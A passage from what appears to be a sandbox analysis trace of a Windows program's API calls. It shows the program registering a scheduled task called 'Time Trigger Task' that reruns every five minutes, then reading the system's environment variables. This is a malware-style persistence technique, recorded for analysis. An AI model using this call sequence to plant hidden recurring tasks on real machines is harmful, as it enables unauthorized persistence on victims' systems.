dwMilliseconds=0x1) returned 0x102 [0048.820] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0048.835] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0048.851] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x0 [0048.852] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x329b728 | out: hHeap=0x5e0000) returned 1 [0048.852] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32f70f8 | out: hHeap=0x5e0000) returned 1 [0048.852] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x3295830 [0048.852] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x32958f8 [0048.852] CoInitialize (pvReserved=0x0) returned 0x0 [0049.144] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0049.145] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x32959c0 [0049.145] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e6dc | out: ppv=0x18e6dc*=0x2840d20) returned 0x0 [0049.275] TaskScheduler:ITaskService:Connect (This=0x2840d20, serverName=0x18e168*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18e178*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18e188*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18e198*(varType=0x0, wReserved1=0x32c, wReserved2=0xe684, wReserved3=0x18, varVal1=0x41720b, varVal2=0x5e0000)) returned 0x0 [0049.276] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4518 [0049.277] TaskScheduler:ITaskService:GetFolder (in: This=0x2840d20, Path="\\", ppFolder=0x18e6e4 | out: ppFolder=0x18e6e4*=0x26ff98) returned 0x0 [0049.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4518 | out: hHeap=0x5e0000) returned 1 [0049.278] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4518 [0049.278] ITaskFolder:DeleteTask (This=0x26ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0049.278] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4518 | out: hHeap=0x5e0000) returned 1 [0049.278] TaskScheduler:ITaskService:NewTask (in: This=0x2840d20, flags=0x0, ppDefinition=0x18e6e8 | out: ppDefinition=0x18e6e8*=0x2840da8) returned 0x0 [0049.280] TaskScheduler:IUnknown:Release (This=0x2840d20) returned 0x1 [0049.280] ITaskDefinition:get_RegistrationInfo (in: This=0x2840da8, ppRegistrationInfo=0x18e6bc | out: ppRegistrationInfo=0x18e6bc*=0x2840e68) returned 0x0 [0049.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4548 [0049.280] IRegistrationInfo:put_Author (This=0x2840e68, Author="Author Name") returned 0x0 [0049.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4548 | out: hHeap=0x5e0000) returned 1 [0049.280] IUnknown:Release (This=0x2840e68) returned 0x1 [0049.280] ITaskDefinition:get_Principal (in: This=0x2840da8, ppPrincipal=0x18e6c4 | out: ppPrincipal=0x18e6c4*=0x2840ff8) returned 0x0 [0049.280] IPrincipal:put_LogonType (This=0x2840ff8, LogonType=3) returned 0x0 [0049.280] IUnknown:Release (This=0x2840ff8) returned 0x1 [0049.280] ITaskDefinition:get_Settings (in: This=0x2840da8, ppSettings=0x18e6cc | out: ppSettings=0x18e6cc*=0x2840f18) returned 0x0 [0049.280] ITaskSettings:put_StartWhenAvailable (This=0x2840f18, StartWhenAvailable=1) returned 0x0 [0049.280] IUnknown:Release (This=0x2840f18) returned 0x1 [0049.280] ITaskSettings:get_IdleSettings (in: This=0x2840f18, ppIdleSettings=0x18e6b0 | out: ppIdleSettings=0x18e6b0*=0x2840f88) returned 0x0 [0049.281] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4548 [0049.281] IIdleSettings:put_WaitTimeout (This=0x2840f88, WaitTimeout="PT5M") returned 0x0 [0049.281] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4548 | out: hHeap=0x5e0000) returned 1 [0049.281] IUnknown:Release (This=0x2840f88) returned 0x1 [0049.281] ITaskDefinition:get_Triggers (in: This=0x2840da8, ppTriggers=0x18e6ac | out: ppTriggers=0x18e6ac*=0x2840ed8) returned 0x0 [0049.281] ITriggerCollection:Create (in: This=0x2840ed8, Type=1, ppTrigger=0x18e6b8 | out: ppTrigger=0x18e6b8*=0x2841058) returned 0x0 [0049.281] IUnknown:Release (This=0x2840ed8) returned 0x1 [0049.281] IUnknown:QueryInterface (in: This=0x2841058, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e6d4 | out: ppvObject=0x18e6d4*=0x2841058) returned 0x0 [0049.281] IUnknown:Release (This=0x2841058) returned 0x2 [0049.281] ITrigger:get_Repetition (in: This=0x2841058, ppRepeat=0x18e6c0 | out: ppRepeat=0x18e6c0*=0x28410a8) returned 0x0 [0049.281] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4548 [0049.281] IRepetitionPattern:put_Interval (This=0x28410a8, Interval="PT5M") returned 0x0 [0049.281] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4548 | out: hHeap=0x5e0000) returned 1 [0049.281] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4548 [0049.281] IRepetitionPattern:put_Duration (This=0x28410a8, Duration="") returned 0x0 [0049.282] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4548 | out: hHeap=0x5e0000) returned 1 [0049.283] ITrigger:put_Repetition (This=0x2841058, Repetition=0x28410a8) returned 0x0 [0049.283] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4548 [0049.283] ITrigger:put_Id (This=0x2841058, Id="Trigger1") returned 0x0 [0049.283] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4548 | out: hHeap=0x5e0000) returned 1 [0049.283] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b4548 [0049.283] ITrigger:put_EndBoundary (This=0x2841058, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0049.283] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b4548 | out: hHeap=0x5e0000) returned 1 [0049.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e194 | out: lpSystemTimeAsFileTime=0x18e194*(dwLowDateTime=0xaabce7f0, dwHighDateTime=0x1d54670)) [0049.283] GetLastError () returned 0x0 [0049.284] SetLastError (dwErrCode=0x0) [0049.284] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x24) returned 0x32f6b98 [0049.284] GetLastError () returned 0x0 [0049.284] SetLastError (dwErrCode=0x0) [0049.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0049.284] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1f) returned 0x32c8860 [0049.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x32c8860, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0049.284] GetLastError () returned 0x0 [0049.284] SetLastError (dwErrCode=0x0) [0049.284] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4) returned 0x325e100 [0049.284] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x325e100) returned 0x4 [0049.284] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x325e100, Size=0x8) returned 0x325e130 [0049.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0049.284] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x6a4d88 [0049.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x6a4d88, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0049.284] GetLastError () returned 0x0 [0049.284] SetLastError (dwErrCode=0x0) [0049.284] GetLastError () returned 0x0 [0049.284] SetLastError (dwErrCode=0x0) [0049.284] GetLastError () returned 0x0 [0049.284] SetLastError (dwErrCode=0x0) [0049.284] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x325e130) returned 0x8 [0049.284] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x325e130, Size=0xc) returned 0x32b4548 [0049.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0049.284] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x37) returned 0x32f4d58 [0049.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x32f4d58, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b4548) returned 0xc [0049.285] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b4548, Size=0x10) returned 0x32b4578 [0049.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0049.285] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x32c3ee8 [0049.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x32c3ee8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.285] GetLastError () returned 0x0 [0049.285] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32b4578) returned 0x10 [0049.286] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32b4578, Size=0x14) returned 0x689438 [0049.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0049.286] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x31) returned 0x32f4cd8 [0049.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x32f4cd8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] GetLastError () returned 0x0 [0049.286] SetLastError (dwErrCode=0x0) [0049.286] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x689438) returned 0x14 [0049.286] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x689438, Size=0x18) returned 0x32ddf98 [0049.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.286] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x17) returned 0x689438 [0049.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x689438, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0049.286] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32ddf98) returned 0x18 [0049.287] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32ddf98, Size=0x1c) returned 0x32c8888 [0049.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0049.287] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x32f6bc8 [0049.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x32f6bc8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.287] GetLastError () returned 0x0 [0049.287] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32c8888) returned 0x1c [0049.288] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32c8888, Size=0x20) returned 0x32c88b0 [0049.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0049.288] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x14) returned 0x32ddf98 [0049.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x32ddf98, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0049.288] GetLastError () returned 0x0 [0049.288] SetLastError (dwErrCode=0x0) [0049.288] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.289] SetLastError (dwErrCode=0x0) [0049.289] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32c88b0) returned 0x20 [0049.290] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32c88b0, Size=0x24) returned 0x32f6d78 [0049.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.290] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd) returned 0x32b4578 [0049.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x32b4578, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.290] SetLastError (dwErrCode=0x0) [0049.290] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f6d78) returned 0x24 [0049.291] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f6d78, Size=0x28) returned 0x32f6d48 [0049.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0049.291] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x25) returned 0x32f6d78 [0049.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x32f6d78, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] SetLastError (dwErrCode=0x0) [0049.291] GetLastError () returned 0x0 [0049.291] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f6d48) returned 0x28 [0049.292] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f6d48, Size=0x2c) returned 0x32f8430 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0049.292] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x39) returned 0x32c3f30 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x32c3f30, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0049.292] GetLastError () returned 0x0 [0049.292] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f8430) returned 0x2c [0049.292] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f8430, Size=0x30) returned 0x32f83c0 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.292] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x32ddfd8 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x32ddfd8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0049.292] GetLastError () returned 0x0 [0049.292] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x32f83c0) returned 0x30 [0049.292] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x32f83c0, Size=0x34) returned 0x32f4d98 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.292] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x17) returned 0x32ddff8 [0049.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x32ddff8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 